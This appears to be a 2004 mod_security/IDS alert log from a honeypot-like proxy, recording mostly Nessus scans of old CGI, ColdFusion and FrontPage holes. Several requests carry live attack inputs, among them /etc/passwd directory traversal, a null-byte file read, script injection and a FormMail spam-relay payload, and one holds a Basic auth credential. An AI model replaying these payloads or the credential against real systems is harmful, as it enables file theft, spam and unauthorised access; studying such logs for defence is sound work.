GET /cgi-bin/csh HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
865CA-1996-11attempted-reconWEB-CGI ksh access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:39 2004] "GET /cgi-bin/ksh HTTP/1.1" 403 295
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ksh
----------------------------------------
GET /cgi-bin/ksh HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
867Nessus 10295
CAN-1999-1970
BID1808
attempted-reconWEB-CGI visadmin.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:31 2004] "GET /cgi-bin/visadmin.exe HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/visadmin.exe] for 50000 ms
----------------------------------------
GET /cgi-bin/visadmin.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/visadmin\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
869CAN-1999-1178attempted-reconWEB-CGI dumpenv.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:00 2004] "GET /cgi-bin/dumpenv.pl HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/dumpenv.pl
----------------------------------------
GET /cgi-bin/dumpenv.pl HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
872CA-1996-11attempted-reconWEB-CGI tcsh access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:39 2004] "GET /cgi-bin/tcsh HTTP/1.1" 403 296
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/tcsh
----------------------------------------
GET /cgi-bin/tcsh HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
873arachNIDS 227
BID2300
CVE-1999-0236
attempted-reconWEB-CGI scriptalias access
Request: 67.125.134.117 - - [Thu Mar 11 05:10:37 2004] "GET http:///www.christinamodel.com/members/index.html HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/www.christinamodel.com/members/index.html] for 50000 ms
----------------------------------------
GET http:///www.christinamodel.com/members/index.html HTTP/1.0
Accept: */*
Accept-Language: en-us,en;q=0.5
Authorization: Basic cHIwdDNzdDpsb3Zlc3lvdQ==
Host: 
Pragma: no-cache
Referer: Http://www.christinamodel.com/members/index.html
User-Agent: Mozilla/4.7 ( compatible; [jp]; Windows 98; DigiExt )
mod_security-message: Access denied with code 200. Pattern match "Basic" at HEADER.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
875Nessus 10008
CVE-1999-0178
arachNIDS 231
BID2078
attempted-reconWEB-CGI win-c-sample.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:47:36 2004] "GET /cgi-shl/win-c-sample.exe HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/cgi-shl/win-c-sample.exe] for 50000 ms
----------------------------------------
GET /cgi-shl/win-c-sample.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/win-c-sample\.exe" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
882attempted-reconWEB-CGI calendar access
Request: 218.4.51.134 - - [Thu Mar 11 09:09:48 2004] "GET http://www.orbitz.com/img/icons/calendar.gif HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://www.orbitz.com/img/icons/calendar.gif] for 50000 ms
----------------------------------------
GET http://www.orbitz.com/img/icons/calendar.gif HTTP/1.0
Accept: */*
Accept-Language: zh-cn
Cookie: OSC=AQymyFJOpw!1406451595; OrbitzID=10790141182870; OrbitzRegistration=N,0,0,0
Host: www.orbitz.com
If-Modified-Since: Fri, 27 Jun 2003 21:02:04 GMT
If-None-Match: "64c07e-176-3efcb0cc"
Proxy-Connection: Keep-Alive
Referer: http://www.orbitz.com/?referralcode=?s
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
mod_security-message: Access denied with code 200. Pattern match "/calendar" at THE_REQUEST.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
884arachNIDS 226
CVE-1999-0172
BID1187
Nessus 10076
Nessus 10782
web-application-activityWEB-CGI formmail access
Request: 67.83.151.132 - - [Wed Mar 10 02:58:00 2004] "POST http://www.buckhickman.co.uk/cgi-bin/FormMail.pl HTTP/1.1" 200 578
Handler: proxy-server
Error: mod_security: Invalid character detected [13]
----------------------------------------
POST http://www.buckhickman.co.uk/cgi-bin/FormMail.pl HTTP/1.1
Accept: */*
Connection: Close
Content-Length: 407
Content-Type: application/x-www-form-urlencoded
Host: www.buckhickman.co.uk
Proxy-Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; AIRF; .NET CLR 1.0.3705)
mod_security-action: 200

email=adelinaeo@thenetanywhere.com&realname=adelinaeo@thenetanywhere.com&recipient=<aazual8@aol.com>www.buckhickman.co.uk%2C&subject=11%3A56%3A53%20PM%20Live!++++++++++++d3v39&15=%0D%0A%0D%0A%0A%0A%0A%0A%0A%0A%0D%0Anhs%0D%0A%0D%0Aaazual8%20Visit%20http%3A%2F%2Fconnect.to%2Ffriendscams%20to%20talk%20to%20these%20girls%20LIVE!%0D%0A%0A%0A%0A%0A%0D%0A11%3A56%3A53%20PM%0D%0A3%2F9%2F2004%0A%0A%0A%0A%0A%0A5y3u

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
885CA-1996-11
CAN-1999-0509
web-application-activityWEB-CGI bash access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:39 2004] "GET /cgi-bin/bash HTTP/1.1" 403 296
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/bash
----------------------------------------
GET /cgi-bin/bash HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
889securityfocus
BID491
attempted-reconWEB-CGI ppdscgi.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:56 2004] "GET /cgi-bin/ppdscgi.exe HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ppdscgi.exe
----------------------------------------
GET /cgi-bin/ppdscgi.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
890scn
BID5286
CAN-2002-0710
attempted-reconWEB-CGI sendform.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:41 2004] "GET /cgi-bin/sendform.cgi HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/sendform.cgi
----------------------------------------
GET /cgi-bin/sendform.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=35
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
892CVE-1999-0066
BID719
attempted-reconWEB-CGI AnyForm2 access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:04 2004] "GET /cgi-bin/AnyForm2 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/AnyForm2] for 50000 ms
----------------------------------------
GET /cgi-bin/AnyForm2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/AnyForm2" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
895CVE-2000-0382
BID1179
attempted-reconWEB-CGI redirect access
Request: 220.175.18.42 - - [Tue Mar  9 22:47:40 2004] "GET http://65.17.208.131/search/search/redirect.php?s=5460953&r=1&l=1 HTTP/1.0" 302 0
Handler: proxy-server
----------------------------------------
GET http://65.17.208.131/search/search/redirect.php?s=5460953&r=1&l=1 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Encoding: deflate
Accept-Language: en
Cookie: stres=1; fc=SXJ3wn3VYaM
Host: 65.17.208.131
Proxy-Connection: Keep-Alive
Referer: http://www.searchlikecrazy.com/cgi-bin/smartsearch.cgi?keywords=Web+Design%20&username=arongyi
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2)
mod_security-message: Access denied with code 200. Pattern match "/search" at THE_REQUEST.

HTTP/1.0 302 Found
Accept-Ranges: bytes
X-Powered-By: PHP/4.2.2
Location: http://www.kanoodle.com/clickthrough.cool?position=7001&tid=bhngbnnobonpbgnkbknpzqrdxbxoyx&bid=0.09&eid=1&id=77810869&query=web%20design&clickid=23442688&UNQ=00107889044985920592&subid=10470
Content-Length: 0
Content-Type: text/html; charset=ISO-8859-1
X-Cache: MISS from www.testproxy.net
Connection: close
896Nessus 10610
CAN-2001-0214
BID2370
web-application-activityWEB-CGI way-board access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:50 2004] "GET /way-board/way-board.cgi?db=/etc/passwd%00 HTTP/1.1" 403 307
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/way-board
----------------------------------------
GET /way-board/way-board.cgi?db=/etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
899CAN-2001-0272
BID2504
web-application-attackWEB-CGI Amaya templates sendtemp.pl directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:46 2004] "GET /cgi-bin/sendtemp.pl?templ=../../../../../etc/passwd HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/sendtemp.pl
----------------------------------------
GET /cgi-bin/sendtemp.pl?templ=../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
900Nessus 10616
BID2362
CAN-2001-0211
web-application-attackWEB-CGI webspirs.cgi directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:53 2004] "GET /webspirs.cgi?sp.nextform=../../../../../../etc/passwd HTTP/1.1" 403 296
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/webspirs.cgi
----------------------------------------
GET /webspirs.cgi?sp.nextform=../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
902CAN-2001-0302attempted-reconWEB-CGI tstisapi.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:47:23 2004] "GET /isapi/tstisapi.dll HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/isapi/tstisapi.dll] for 50000 ms
----------------------------------------
GET /isapi/tstisapi.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "tstisapi\.dll" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
908CVE-2000-0538attempted-reconWEB-COLDFUSION administrator access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:20 2004] "GET /CFIDE/administrator/index.cfm HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/CFIDE/administrator/index.cfm] for 50000 ms
----------------------------------------
GET /CFIDE/administrator/index.cfm HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/cfide/administrator/index\.cfm" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
911BID550
CVE-1999-0455
attempted-reconWEB-COLDFUSION exprcalc access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:54 2004] "GET /cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\win.ini HTTP/1.1" 403 311
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/cfdocs
----------------------------------------
GET /cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
937BID2144web-application-activityWEB-FRONTPAGE _vti_rpc access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:41 2004] "POST /_vti_bin/shtml.dll/_vti_rpc HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [13]
----------------------------------------
POST /_vti_bin/shtml.dll/_vti_rpc HTTP/1.0
Accept: */*
Connection: Keep-Alive
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Date: Mon, 23 Mar 2003 00:00:15 GMT
Host: 192.168.1.103
MIME-Version: 1.0
User-Agent: MSFrontPage/4.0
X-Vermeer-Content-Type: application/x-www-form-urlencoded
mod_security-action: 200

method=open+service%3a3%2e0%2e2%2e1105&service%5fname=%2f

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
951Nessus 10078
CVE-1999-0386
web-application-activityWEB-FRONTPAGE authors.pwd access
Request: 217.160.165.173 - - [Fri Mar 12 22:40:40 2004] "GET /_vti_pvt/authors.pwd HTTP/1.1" 404 300
Handler: (null)
Error: mod_security: Warning. Pattern match "/authors\.pwd" at THE_REQUEST.
----------------------------------------
GET /_vti_pvt/authors.pwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/authors\.pwd" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
960web-application-activityWEB-FRONTPAGE service.stp access
Request: 213.66.16.242 - - [Sat Mar 13 18:07:03 2004] "GET http://www.hypnogirls.com/_vti_pvt/service.stp HTTP/1.0" 302 280
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/_vti_pvt/service\.stp" at THE_REQUEST.
----------------------------------------
GET http://www.hypnogirls.com/_vti_pvt/service.stp HTTP/1.0
Accept: */*, text/html
mod_security-message: Warning. Pattern match "/_vti_pvt/service\.stp" at THE_REQUEST.

HTTP/1.0 302 Found
Warning: Subject to Monitoring
Location: http://www.hypnogirls.com
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from www.testproxy.net
Connection: close
962BID1174
BID1608
CAN-2000-0709
CAN-2000-0413
Nessus 10405
web-application-activityWEB-FRONTPAGE shtml.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:48 2004] "GET /_vti_bin/shtml.exe/<script>alert(document.domain)</script> HTTP/1.1" 403 354
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/_vti_bin
----------------------------------------
GET /_vti_bin/shtml.exe/<script>alert(document.domain)</script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
966arachNIDS 248
CAN-2000-0153
BID989
web-application-attackWEB-FRONTPAGE .... request
Request: 217.160.165.173 - - [Fri Mar 12 22:38:47 2004] "GET /................../config.sys HTTP/1.1" 403 313
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/..................
----------------------------------------
GET /................../config.sys HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
967ms00-025
arachNIDS 271
CVE-2000-0260
BID1108
web-application-activityWEB-FRONTPAGE dvwssr.dll access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:19 2004] "GET /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.1" 404 308
Handler: (null)
Error: mod_security: Warning. Pattern match "/dvwssr\.dll" at THE_REQUEST.
----------------------------------------
GET /_vti_bin/_vti_aut/dvwssr.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/_vti_bin/" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
971arachNIDS 533
CAN-2001-0241
web-application-activityWEB-IIS ISAPI .printer access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:26 2004] "GET /NULL.printer HTTP/1.1" 404 292
Handler: (null)
Error: mod_security: Warning. Pattern match "\.printer" at THE_REQUEST.
----------------------------------------
GET /NULL.printer HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "\.printer" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
972CAN-1999-0253
BID1814
web-application-activityWEB-IIS %2E-asp access
Request: 218.56.8.160 - - [Wed Mar 10 23:38:43 2004] "GET http://www.xuppa.com/cgi-local/click.cgi?o=97087&k=Films&partnerid=boopin&c=_b9pt_&pro=12835&srch=Films&pos=2&oid=12835&cthru=http%3A%2F%2Fpartners%2Emygeek%2Ecom%2Fpresults%2Ejsp%3Fpartnerid%3D%39%38%36%38%39%26vendorId%3D%39%37%30%38%37%26type%3D%31%26code%3D%30%26rate%3D%38%34%35%33%36%32%33%36%32%26cr%3D%38%34%35%33%36%32%33%36%32%26domain%3Dtrack%2Edid%2Dit%2Ecom%26query%3D%31%30%37%38%39%37%39%38%36%32%37%35%32%25%33A%25%33A%36%38%2E%34%38%2E%31%30%36%2E%31%30%39%25%33A%25%33AFilms%26url%3Dhttp%25%33A%25%32F%25%32Fwww%2Elooksmart%2Ecom%25%32Fog%25%32Fpr%25%33DPsr%25%33Bro%25%33D%32%25%33Brc%25%33D%34%25%33Bla%25%33D%32%31%38%30%32%35%25%33Blm%25%33D%31%32%31%30%36%32%25%33Bli%25%33D%31%30%32%32%37%32%36%31%32%25%33Bed%25%33D%32%30%30%33%30%38%31%33%25%33Bii%25%33D%38%30%36%34%2E%37%34%35%38%2E%34%30%34fe%36e%39%2E%36%35%33%35%25%33Bpn%25%33D%25%33Bto%25%33D%25%33Btc%25%33D%34%25%33Bpo%25%33D%32%25%33Bpc%25%33D%34%25%33Bpi%25%33Dlzd%25%33Bts%25%33D%25%37Chttp%25%33A%25%32F%25%32Ftrack%2Edid%2Dit%2Ecom%25%32Fn%25%33Flid%25%33D%36%35%37%38%30%38%37%25%32%36tid%25%33D%33edb%39%35%31%31%36b%36cd%25%32%36url%25%33Dhttp%25%33A%25%32F%25%32Fwww%2Eassociatedbag%2Ecom%25%32Fcategory%2Easp%25%33Fcatalog%25%32%35%35Fname%25%33DAssociatedBagCatalog%25%32%36class%25%33DFLM%25%32%36parent%25%33D%25%32%36category%25%32%35%35Fname%25%33DFLM%25%32%36Page%25%33D%31%3Ab%30%2E%30%33 HTTP/1.1" 302 938
Handler: proxy-server
----------------------------------------
GET http://www.xuppa.com/cgi-local/click.cgi?o=97087&k=Films&partnerid=boopin&c=_b9pt_&pro=12835&srch=Films&pos=2&oid=12835&cthru=http%3A%2F%2Fpartners%2Emygeek%2Ecom%2Fpresults%2Ejsp%3Fpartnerid%3D%39%38%36%38%39%26vendorId%3D%39%37%30%38%37%26type%3D%31%26code%3D%30%26rate%3D%38%34%35%33%36%32%33%36%32%26cr%3D%38%34%35%33%36%32%33%36%32%26domain%3Dtrack%2Edid%2Dit%2Ecom%26query%3D%31%30%37%38%39%37%39%38%36%32%37%35%32%25%33A%25%33A%36%38%2E%34%38%2E%31%30%36%2E%31%30%39%25%33A%25%33AFilms%26url%3Dhttp%25%33A%25%32F%25%32Fwww%2Elooksmart%2Ecom%25%32Fog%25%32Fpr%25%33DPsr%25%33Bro%25%33D%32%25%33Brc%25%33D%34%25%33Bla%25%33D%32%31%38%30%32%35%25%33Blm%25%33D%31%32%31%30%36%32%25%33Bli%25%33D%31%30%32%32%37%32%36%31%32%25%33Bed%25%33D%32%30%30%33%30%38%31%33%25%33Bii%25%33D%38%30%36%34%2E%37%34%35%38%2E%34%30%34fe%36e%39%2E%36%35%33%35%25%33Bpn%25%33D%25%33Bto%25%33D%25%33Btc%25%33D%34%25%33Bpo%25%33D%32%25%33Bpc%25%33D%34%25%33Bpi%25%33Dlzd%25%33Bts%25%33D%25%37Chttp%25%33A%25%32F%25%32Ftrack%2Edid%2Dit%2Ecom%25%32Fn%25%33Flid%25%33D%36%35%37%38%30%38%37%25%32%36tid%25%33D%33edb%39%35%31%31%36b%36cd%25%32%36url%25%33Dhttp%25%33A%25%32F%25%32Fwww%2Eassociatedbag%2Ecom%25%32Fcategory%2Easp%25%33Fcatalog%25%32%35%35Fname%25%33DAssociatedBagCatalog%25%32%36class%25%33DFLM%25%32%36parent%25%33D%25%32%36category%25%32%35%35Fname%25%33DFLM%25%32%36Page%25%33D%31%3Ab%30%2E%30%33 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Host: www.xuppa.com
Referer: http://boopin.com/s.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
mod_security-message: Access denied with code 200. Pattern match "\.asp" at THE_REQUEST.

HTTP/1.1 302 Found
Set-Cookie: ks12835=Filmshttp%3A%2F%2Fpartners.mygeek.com%2Fpresults.jsp%3Fpartnerid%3D98689%26vendorId%3D97087%26type%3D1%26code%3D0%26rate%3D845362362%26cr%3D845362362%26domain%3Dtrack.did-it.com%26query%3D1078979862752%253A%253A192.168.1.103%253A%253AFilms%26url%3Dhttp%253A%252F%252Fwww.looksmart.com%252Fog%252Fpr%253DPsr%253Bro%253D2%253Brc%253D4%253Bla%253D218025%253Blm%253D121062%253Bli%253D102272612%253Bed%253D20030813%253Bii%253D8064.7458.404fe6e9.6535%253Bpn%253D%253Bto%253D%253Btc%253D4%253Bpo%253D2%253Bpc%253D4%253Bpi%253Dlzd%253Bts%253D%257Chttp%253A%252F%252Ftrack.did-it.com%252Fn%253Flid%253D6578087%2526tid%253D3edb95116b6cd%2526url%253Dhttp%253A%252F%252Fwww.associatedbag.com%252Fcategory.asp%253Fcatalog%25255Fname%253DAssociatedBagCatalog%2526class%253DFLM%2526parent%253D%2526category%25255Fname%253DFLM%2526Page%253D1&1078979909&time&1078979909; domain=.xuppa.com; path=/; expires=Fri, 12-Mar-2004 04:38:29 GMT
Location: http://partners.mygeek.com/presults.jsp?partnerid=98689&vendorId=97087&type=1&code=0&rate=845362362&cr=845362362&domain=track.did-it.com&query=1078979862752%3A%3A192.168.1.103%3A%3AFilms&url=http%3A%2F%2Fwww.looksmart.com%2Fog%2Fpr%3DPsr%3Bro%3D2%3Brc%3D4%3Bla%3D218025%3Blm%3D121062%3Bli%3D102272612%3Bed%3D20030813%3Bii%3D8064.7458.404fe6e9.6535%3Bpn%3D%3Bto%3D%3Btc%3D4%3Bpo%3D2%3Bpc%3D4%3Bpi%3Dlzd%3Bts%3D%7Chttp%3A%2F%2Ftrack.did-it.com%2Fn%3Flid%3D6578087%26tid%3D3edb95116b6cd%26url%3Dhttp%3A%2F%2Fwww.associatedbag.com%2Fcategory.asp%3Fcatalog%255Fname%3DAssociatedBagCatalog%26class%3DFLM%26parent%3D%26category%255Fname%3DFLM%26Page%3D1
Content-Type: text/plain
Via: 1.1 www.xuppa.com
X-Cache: MISS from www.xuppa.com, MISS from www.testproxy.net
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
